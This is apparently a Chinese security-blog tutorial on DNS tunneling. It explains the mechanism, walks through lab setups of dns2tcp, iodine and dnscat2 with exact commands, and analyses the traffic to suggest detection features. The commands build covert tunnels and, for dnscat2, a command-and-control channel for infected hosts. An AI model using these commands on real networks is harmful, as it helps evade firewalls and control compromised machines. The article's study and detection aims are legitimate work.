风起云涌123
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
DNS隧道
DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。
一、DNS隧道概述
DNS在我们的网络世界中是一个非常重要的协议,它将长串的不适合记忆的IP地址映射成可读性较强的字符域名。整个域名空间呈层次化的树状结构,顶层是根域,全球一共有13个根域。根域下为我们平常熟悉的顶级域,如.com,.net,.org等。域名的存储、解析和管理都要通过域名服务器来实现。根据域名所属域和授权范围可以划分Zone,Zone上的主服务器和辅服务器均被称为权威域名服务器。权威域名服务器上保存了该域的所有主机信息。
DNS的记录类型有很多,大家常见的有A,AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。
DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。
二、DNS tunneling原理简述
DNS Tunneling可以分为直连和中继两种。直连也就是Client直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,另外限制比较高,很多场景不允许自己指定DNS Server。而通过DNS迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多。DNS Tunneling的中继模式过程如下图所示。
上图中,UserA 和User B由于防火墙D的规则限制无法访问外网,但防火墙上对于DNS的流量是放行的。当User需要解析的域名Local DNS Server无法给出回答时,Local DNS Server就会采用迭代查询通过互联网与各级域的权威服务器进行查询,比如从com域的服务器得到test.com域的权威服务器地址,最后定位到所查询域的权威DNS Server,形成一个逻辑信道。所以,我们可以将通信的数据封装在客户端查询的请求中,当请求的数据包经过上图的路径,最终到达我们控制的权威DNS Server时,再从请求数据包中解析出数据,并将相应的数据封装在DNS Response中,返回给Client完成通信。(Local DNS Server可以由Remote DNS Server代替,原理相同)
三、关键技术
中继过程中的一个关键点是对DNS缓存机制的规避,因为如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。
对DNS载荷的编码是DNS Tunneling的另一个核心技术。从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息,这串字符解码后的信息便是dnstunneling。
最后,因为大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以大多数工具,Client会定时向Server发送请求,保证二者之间的通信状态。
四、实现工具及检测
DNS Tunneling从提出到现在已经有了很多的实现工具,历史比较早的有NSTX,Ozymandns,目前比较活跃的有iodine,dnscat2,其他的还有DeNise,dns2tcp,Heyoka等。不同工具的核心原理相似,但在编码,实现细节和目标应用场景方面存在一定的差异性。
目前已经提出了多种检测技术,例如通过请求和相应包的大小进行监测,通常dns tunneling为了取得较大的带宽,会选择构造尽量大的dns请求和响应。还可以通过分析一定时间窗口内所产生的FQDN数,通常DNS Tunneling的FQDN数在一定时间窗口内会远高于正常的DNS流量。另外在Detecting DNS Tunnels Using Character Frequency Analysis论文中,证明了还可以通过词频的检测识别DNS Tunneling的流量。根据Zipf定律,在自然语言的语料库里,一个单词出现的次数与它在频率表里的排名成反比。正常的域名也符合这个定律。而在这篇论文中,证明了DNS Tunneling中由于域名做了编码,不符合Zipf定律,整个分布趋于平稳。另外很多DNS Tunneling使用TXT记录类型发送请求和响应,而在正常的DNS网络流量中,TXT记录的比例可能只有1%-2%,如果时间窗口内,TXT记录的比例激增,那么也意味着存在异常。
五、dns2tcp
1. 简介
dns2tcp是一款利用dns协议传输tcp数据的工具
2. 适用条件
客户端的防火墙禁止tcp出站流量,无法上网,dns2tcp利用dns协议传输tcp数据,从而实现上网(dns协议是udp协议走53端口)。
3. 参数说明
-c 大流量压缩
-F 前台运行
-f 指定配置文件
-r 指定使用的资源
-z 指定DNS域名
-k 设置传输密码
-l 侦听本地端口
-d 编译水平(1 | 2 |3 )
4. 实验环境
kali客户端 192.168.159.129
kali服务器 192.168.159.140
windws server 2003 192.168.159.136
5. 实验准备
- 在windows 2003 配置DNS服务器
- 在kali服务器上修改文件/etc/dns2tcpd.cnf
6. 实验演示------建立隧道
(1)服务器运行以下命令,侦听53端口,启动配置文件里所配置的资源,等待客户端来连接。
dns2tcpd -F -d 3 -f /etc/dns2tcpd.conf
(2)2.客户端运行以下命令,侦听本地7002端口,使用ssh资源,如果有数据产生,将通过DNS服务器将数据发给服务器。
这样我们的7002端口,就跟目标53端口建立了隧道。
dns2tcpc -c -k 123456 -d 3 -l 7002 -r ssh -z kali2019.test.com 192.168.159.140
(3)3.使用ssh连接本地7002端口,也就是连接服务器53端口,然后服务器在转发给22端口。
ssh root@127.0.0.1 -p 7002
7. 流量分析
通过抓包提取dns协议里的附件字段或者直接查看在客户端打出的log,可以发现client通过TXT类型记录的域名前缀来发出数据,通过DNS RR中的TXT记录来附加回应的内容。域名前缀和回应内容均采用base64编码,如果提取单条数据,进行base64解码,即可看到传输的内容。
从发包行为上可以发现,如果在进行传输数据这种大量数据交互操作的情况,dns2tcp会将数据切分成若干个小单元,依次发出,时间间隔非常小,而当无数据交互,空闲时,两端仍然通过发包维持通信状态,客户端大约每隔0.6s发出一个状态包。
从捕包的源IP和目的IP来看,dns2tcp并不是利用dns中继进行通信的,而是直接和目的DNS服务器(服务端)直接通信。
请求包和回应包的内容基本一致,除了回应包比请求包多了一串base64加密后的数据
六、Iodine
1. 简介
iodine是目前比较活跃,知名度比较大的一个dns tunneling实现工具,平台覆盖范围广,它可以运行在Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上,甚至还有android客户端,不过它需要安装TUN/TAP。官方称上行速度最大680 kbit/s,下行速度上限可以达到2.3Mbit/s。
2. 参数说明
Server:
iodined [options] <tunnel_ip> <topdomain>
tunnel_ip : 指定server在TUN接口上的IP,客户端的TUN接口IP会和服务端在同一子网内
topdomain : 用来构造域名的上级域,也就是我们ns记录中的指定域名
Options:
-D : 指定调试级别,-DD指第二级,‘D’随等级增加
Client:
iodine [options] <topdomain>
Options:
-r : 采用DNS中继模式传输数据
-M : 指定上行主机名大小
-m : 调节最大下行分片大小
-T : 指定所使用的DNS请求类型,可选有NULL,PRIVATE,TXT,SRV,MX,CNAME,A
-O : 指定数据编码规范
-L : 是否使用懒惰模式,默认开启
-I : 指定请求间的时间间隔
公用Options:
-f : 前台运行
-P password : 指定一个password进行认证,如果不指定,后续会提
3. 实验环境
kali客户端 192.168.159.129
kali服务器 192.168.159.140
windws server 2003 192.168.159.136
4. 实验准备
在windows server 2003配置dns服务器(同dns2tcp)
5. 实验演示
(1)服务端iodined -c -P 123456 10.0.0.1 kali2019.test.com -DDD
查看服务器ip地址,多了一个dns0接口,IP地址是咱们设置的10.0.0.1
(2)客户端iodine -r -f -P 123456 192.168.159.140 kali2019.test.com -M 200
查看本地客户端IP地址,多了一个dns0接口,并且IP地址是自动生成和服务器一个网段的10.0.0.2
(3)客户端输入ssh root@10.0.0.1
可以远程登录服务器,证明dns隧道建立成功
6. 流量分析
Iodine与dns2tcp非常类似,其实这些DNS隧道工具都大同小异。抓包分析可以看到,dns隧道的内容加密,并且上传下载频率高。
iodine的可移植性比较强,在许多不同的类UNIX系统和Win32上运行。都可以在两台主机之间建立隧道。
Iodine操作方便,自动处理接口上的IP号,最多16个用户可以同时共享一台服务器。
在客户端启动后,会向服务器发送DNS请求包,客户端情报求包,请求包的type类型为10 (未知,可以作为检测的一种特征),
数据作为域名前缀yrbctn.kali2019.test.com, yrbh1o就是请求的数据。
七、dnscat2
1. 简介
Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道。它同样是C/S架构,Client位于感染主机,而Server位于权威域名服务器上。
2. 实验准备------安装dnscat2
server端
root@kali:~#git clone //github.com/iagox86/dnscat2.git
root@kali:~# cd dnscat2/server
root@kali:~/dnscat2# gem install bundler
root@kali:~/dnscat2/server# bundle install(出现错误等一会就行)
client端
root@kali:~# git clone https://github.com/iagox86/dnscat2.git
root@kali:~# cd dnscat2/client
root@kali:~/dnscat2/client# make
3. 实验环境
kali客户端 192.168.159.129
kali服务器 192.168.159.140
4. 实验演示
(1)服务器端输入ruby ./dnscat2.rb
root@kali:~/dnscat2/server# ruby ./dnscat2.rb
(2)客户端输入
./dnscat --dns server=192.168.159.140,port=53 --secret=dd5ed1201ff9a94712a22c2866869a54
服务端显示
- 输入window -i 1,建立一个1的会话
输入ping,接收到响应pong,说明隧道建立成功。
5. 流量分析
抓包进行分析
在queries字段可以看到dnscat2加密后的域名开头有dnscat的样式。此数据包使用的是CNAME的类型
dnscat2与其他DNS隧道工具不太一样,它提供了命令,并且以窗口的形式,来执行各种命令。通过数据包可以发现,dnscat2通过加密的手段隐蔽了CC服务器的域名。隐蔽性做的更好。
八、总结
即使是在限制非常严格的情况下,DNS 流量也应该是允许放行的。我们就可以利用 DNS 隧道技术在目标主机和我们的 C&C 服务器之间建立连接。命令和信息都包含在 DNS 查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。因此可以通过以下三个方面对DNS恶意流量进行分析。
- DNS会话中数据包的总数
正常DNS会话比较简短,随着一次DNS解析任务结束而结束。
DNS隧道木马的会话随着木马的生命周期结束而结束,但在整个木马的生命周期里会向CC服务器发送心跳包,传输信息,资源文件等行为。CC服务器也会发送控制指令。所以在DNS隧道木马的会话中DNS报文数量大。
- 隧道消息类型
在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%。然而为了获取更高的带宽,一部分的DNS隐蔽信道工具如Iodine。在默认配置下会使用TXT或NULL等不常用的记录类型。
- 域名固定部分不变
在DNS隧道的报文中,我们可以看到变化的都是子域名。
但是Dnscat2,根域名也加密了并且一直变化,但是有一个显著的标志。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
